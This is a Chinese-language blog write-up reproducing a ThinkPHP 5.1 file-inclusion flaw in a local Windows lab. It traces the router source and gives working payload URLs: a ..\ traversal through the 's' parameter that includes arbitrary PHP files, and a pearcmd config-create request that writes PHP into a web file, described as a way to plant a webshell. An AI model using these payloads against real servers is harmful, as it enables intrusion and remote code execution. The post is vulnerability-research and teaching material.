2024最新Thinkphp5.1.0-Thinkphp5.1. *文件包含漏洞复现研究(适合小白!)
1381606535199241 发表于 江西 漏洞分析 1026浏览 · 2024-11-04 17:01

起始

最近看到漏洞上出现了tp的新的CVE-2024-29981 - NVD,因此来分析分析。

用phpstrom+phpstudy来搭建复现环境

https://www.runoob.com/w3cnote/composer-install-and-usage.html
https://blog.csdn.net/qq_45766062/article/details/121828751
下载composer,

再下载thinkphp时遇到报错,

No composer.lock file present. Updating dependencies to latest instead of installing from lock file

换镜像源,

composer install --ignore-platform-reqs

然后再D:\phpstudy\phpstudy_pro打开命令行下载thinkphp5.1.41,

composer create-project topthink/think=5.1.41 tp5.1.41  --prefer-dist


按照教程搭debug,



再用phpstrom打开文件,运行phpstudy的服务,即可访问http://localhost/tp5.1.41/public/

http://localhost/tp5.1.41/public/index.php?s=index/index/hello

以上就是tp的常规路径,其实就是对应的 模块/控制器/方法

漏洞分析

首先需要触发路由,我们的url如下:

http://localhost/tp5.1.41/public/index.php?XDEBUG_SESSION_START=17055&s=thinkphp5.1/fewOo/fewOo


进入run方法

因为复现的是文件包含,所以看看路由是怎么检测的 ,有哪些我们可以构造的.

来到581行,进行代码审计,这里面主要看看path和check函数的功能.

在往下调进入pathinfo()

public function pathinfo()
    {
        if (is_null($this->pathinfo)) {
            if (isset($_GET[$this->config['var_pathinfo']])) {
                // 判断URL里面是否有兼容模式参数
                $pathinfo = $_GET[$this->config['var_pathinfo']];
                unset($_GET[$this->config['var_pathinfo']]);
                unset($this->get[$this->config['var_pathinfo']]);
            } elseif ($this->isCli()) {
                // CLI模式下 index.php module/controller/action/params/...
                $pathinfo = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
            } elseif ('cli-server' == PHP_SAPI) {
                $pathinfo = strpos($this->server('REQUEST_URI'), '?') ? strstr($this->server('REQUEST_URI'), '?', true) : $this->server('REQUEST_URI');
            } elseif ($this->server('PATH_INFO')) {
                $pathinfo = $this->server('PATH_INFO');
            }

            // 分析PATHINFO信息
            if (!isset($pathinfo)) {
                foreach ($this->config['pathinfo_fetch'] as $type) {
                    if ($this->server($type)) {
                        $pathinfo = (0 === strpos($this->server($type), $this->server('SCRIPT_NAME'))) ?
                        substr($this->server($type), strlen($this->server('SCRIPT_NAME'))) : $this->server($type);
                        break;
                    }
                }
            }

            if (!empty($pathinfo)) {
                unset($this->get[$pathinfo], $this->request[$pathinfo]);
            }

            $this->pathinfo = empty($pathinfo) || '/' == $pathinfo ? '' : ltrim($pathinfo, '/');
        }

        return $this->pathinfo;
    }
//关键点看下面的代码if (isset($_GET[$this->config['var_pathinfo']])) {                $pathinfo = $_GET[$this->config['var_pathinfo']];                unset($_GET[$this->config['var_pathinfo']]);                unset($this->get[$this->config['var_pathinfo']]);  其中$this->config['var_pathinfo']是s参数也就是说获取了s的参数,并且销毁了GET传入的s,和当前类的$this->get[s]的内容返回值是$pathinfo就是我们s传的内容。  好了再回到path,结合上图,会走到if里面其中也就是匹配我们传的参数有没有.html,意义不大。$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);

path函数是获取url参数,往下走是check函数

"/"被替换为"|",可以看到图中的url的值变为:thinkphp5.1|fewOo|fewOo,然后就是返回一个dispatch对象.

return new UrlDispatch($this->request, $this->group, $url, [
            'auto_search' => $this->autoSearchController,
        ]);

查找这个函数,

use think\route\dispatch\Url as UrlDispatch;

这行代码是用来引入 think\route\dispatch\Url 类,并为其指定一个别名 UrlDispatch。在 PHP 中,使用 use 关键字可以方便地导入命名空间中的类,使得在代码中使用该类时不需要写出完整的命名空间路径。

具体来说:

  • think\route\dispatch\Url 是一个完整的命名空间路径,指向一个特定的类。
  • as UrlDispatch 表示将 Url 类别名为 UrlDispatch,这样在后续代码中就可以直接使用 UrlDispatch 来引用这个类。


    result:['thinkphp5.1','fewOo','fewOo'],dispatch=thinkphp5.1|fewOo|fewOo.

parseUrl方法是把路由进行分割成数组,

可以看到$url经过parseUrl函数的作用,$path被赋值为['thinkphp5.1','fewOo','fewOo'].

往下走看到$module在第一个,然后就return.

走完了parseUrl,接下来new了一个module类,并且执行了init()方法,进入.

这里解释一下,我们利用module函数的最终目的就是判断route[0]是不是真实存在的,反应到代码上就是让$available = true,然后就可以模块初始化.

如果这时候$module命名为../../名字,是不是就可以目录穿越了,但是/被替换了两次,很难在构造成功了.


幸运的是,在window环境下,..\也可以跳目录,这样我们只要让$available = true就可以了.

public function init()
    {
        parent::init();

        $result = $this->dispatch;

        if (is_string($result)) {
            $result = explode('/', $result);
        }

        if ($this->rule->getConfig('app_multi_module')) {
            // 多模块部署
            $module    = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
            $bind      = $this->rule->getRouter()->getBind();
            $available = false;

            if ($bind && preg_match('/^[a-z]/is', $bind)) {
                // 绑定模块
                list($bindModule) = explode('/', $bind);
                if (empty($result[0])) {
                    $module = $bindModule;
                }
                $available = true;
            } elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
                $available = true;
            } elseif ($this->rule->getConfig('empty_module')) {
                $module    = $this->rule->getConfig('empty_module');
                $available = true;
            }

关键代码:

elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
                $available = true;

第一个判断$module是不是数组,在38行已经就不是数组了,第二个判断是不是真实存在的路径,我创建了d:\thinkphp5.1,用以下的payload,也是成功绕过了.

http://localhost/tp5.1.41/public/index.php?XDEBUG_SESSION_START=17055&s=..\..\..\..\..\thinkphp5.1/fewOo/fewOo


然后走到60行的app->init(),

关键代码:
    if (is_dir($path . 'config')) {
                $dir = $path . 'config' . DIRECTORY_SEPARATOR;
            } elseif (is_dir($this->configPath . $module)) {
                $dir = $this->configPath . $module;
            }

            $files = isset($dir) ? scandir($dir) : [];
$files是从$module过来的,$module是我们的..\..\..\..\..\thinkphp5.1,321行获取了目录下面所有文件放到数组里面进行循环,


     foreach ($files as $file) {
                if ('.' . pathinfo($file, PATHINFO_EXTENSION) === $this->configExt) {
                    $this->config->load($dir . $file, pathinfo($file, PATHINFO_FILENAME));
                }
            }
        }
        这段代码的功能是遍历 $files 数组中的每个文件。对于每个文件,它会检查文件扩展名是否与 $this->configExt 相等(通过在扩展名前加上 .)。如果相等,则调用 $this->config->load() 方法,加载该文件,并将文件名(不包括扩展名)作为第二个参数传入。

下图可以看出$files和$module相关.


可以看到是$this->configExt=.php

然后再来看load函数,先是判断文件是否存在,然后loadfile函数,

如果扩展名为php,就可以直接包含.

完整的调用堆栈在下图:

漏洞利用

目录穿越+包含

public文件路径为D:\phpstudy\phpstudy_pro\WWW\tp5.1.41\public

我们新建了d:\thinkphp5.1目录,里面有1.php文件,内容是phpinfo().

payload

http://localhost/tp5.1.41/public/index.php?s=..\..\..\..\..\thinkphp5.1/fewOo/fewOo

进阶

但是ctf比赛中可不总是有webshell给我们,所以我们可以利用包含环境下pearcmd文件的特殊性来写webshell,进而包含利用.

下载pear,

pearweb_phars (php.net)

在php7.3.4nts目录下创建一个pear文件夹,然后打开cmd命令行,输入php go-pear.phar,按照教程即可.

这里插一点知识.

pear包管理系统

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

PEAR(PHP Extension and Application Repository)

这是一个PHP 的包管理系统,用于安装和管理 PHP 扩展和库。

PEAR 包管理器通常使用 pear 命令来执行各种操作,例如安装、更新和删除 PHP 包。

关键命令 config-create

我们关注这样一条命令

pear config-create <directory> <filename>

这个命令使用了 config-create 模式,表明要创建一个配置文件

:指定配置文件将保存的目录路径。
:指定要创建的配置文件的名称。

其中,如果我们把写成一句话木马,文件名写成 /tmp/cmd.php

这样,pear就会在 tmp 目录下创建一个包含一句话木马的配置文件。此时,我们再利用 ctf 题目本身的文件包含,包含这个一句话就能实现远控了。

payload:

http://localhost/tp5.1.41/public/index.php?s=..\..\..\Extensions\php\php7.3.4nts\pear\pear\&+config-create+/<?=phpinfo();?>+1.php

知道要修改php.ini配置内容

但是报错,

Notice: Undefined index: argv in Getopt.php on line 353 Notice: Undefined index: HTTP_SERVER_VARS in Getopt.php on line 354

找到报错中的文件内容

public static function readPHPArgv()
    {
        global $argv;
        if (!is_array($argv)) {
            if (!@is_array($_SERVER['argv'])) {
                if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                    $msg = "Could not read cmd args (register_argc_argv=Off?)";
                    return PEAR::raiseError("Console_Getopt: " . $msg);
                }
                return $GLOBALS['HTTP_SERVER_VARS']['argv'];
            }
            return $_SERVER['argv'];
        }
        return $argv;
    }

}

难道还有配置没有改好,果然如此.

那我们在试一下.

成功执行.

往下翻可以看到如下代码:

User Configuration File        Filename         D:\phpstudy\phpstudy_pro\WWW\tp5.1.41\public\1.php
System Configuration File      Filename         #no#system#config#
Successfully created default configuration file "D:\phpstudy\phpstudy_pro\WWW\tp5.1.41\public\1.php"

这样我们就用pear写shell成功,然后访问即可

还要说明一下,浏览器发送请求尖括号会被编码,还得是burp.
最后
注意:window可以利用,linux不可以利用
本文是学习复现了这篇文章:

https://mp.weixin.qq.com/s/U7bcahkcWrM5p_jkuMyH9Q

1 条评论
某人
表情
可输入 255